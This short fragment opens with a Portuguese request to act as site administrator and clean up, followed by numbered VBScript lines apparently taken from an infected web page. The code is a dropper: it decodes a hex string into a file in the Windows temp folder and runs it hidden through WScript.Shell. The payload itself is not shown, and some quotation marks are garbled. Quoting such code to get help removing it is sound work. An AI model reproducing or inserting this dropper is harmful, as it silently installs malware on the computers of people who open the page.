você é administrador do site
faça a limpeza

570 Set FSO = CreateObject(“Scripting.FileSystemObject”)
571 DropPath = FSO.GetSpecialFolder(2) & “" & DropFileName
572 If FSO.FileExists(DropPath)=False Then
573 Set FileObj = FSO.CreateTextFile(DropPath, True)
574 For i = 1 To Len(WriteData) Step 2
575 FileObj.Write Chr(CLng(”&H" & Mid(WriteData,i,2)))
576 Next
577 FileObj.Close
578 End If
579 Set WSHshell = CreateObject(“WScript.Shell”)
580 WSHshell.Run DropPath, 0

//-->